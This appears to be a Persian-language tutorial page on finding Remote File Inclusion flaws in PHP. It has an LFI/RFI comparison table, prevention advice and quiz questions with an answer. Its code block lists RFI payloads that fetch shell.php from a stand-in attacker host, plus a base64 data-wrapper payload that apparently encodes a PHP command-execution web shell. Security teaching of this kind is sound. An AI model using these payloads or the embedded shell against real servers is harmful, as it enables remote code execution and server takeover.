در حال بارگذاری...
تست آسیبپذیری Remote File Inclusion (RFI) برای اجرای کد از سرورهای خارجی.
اهداف این درس
Remote File Inclusion (RFI) آسیبپذیری است که به مهاجم اجازه میدهد فایلها را از سرورهای خارجی شامل کند و کد مخرب اجرا کند.
| ویژگی | LFI | RFI |
|---|---|---|
| منبع | فایلهای محلی | فایلهای از راه دور |
| خطر | خواندن فایلها | اجرای کد از راه دور |
| پیشگیری | لیست سفید | غیرفعال کردن allow_url_include |
| رایجترین زبان | PHP | PHP |
1// ساده2http://attacker.com/shell.php34// با null byte5http://attacker.com/shell.php%0067// با encoding8http://attacker.com/shell.php%3F910// با data wrapper11data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+RFI میتواند منجر به اجرای کد کامل از راه دور شود.
غیرفعال کردن allow_url_include مؤثرترین روش پیشگیری است.
RFI معمولاً در PHP رایجتر است.
کدام تنظیم PHP از RFI جلوگیری میکند؟
RFI چرا خطرناکتر از LFI است؟
RFI خطرناکتر است زیرا مهاجم میتواند کد دلخواه خود را از سرور خارجی اجرا کند و کنترل کامل سرور را به دست آورد.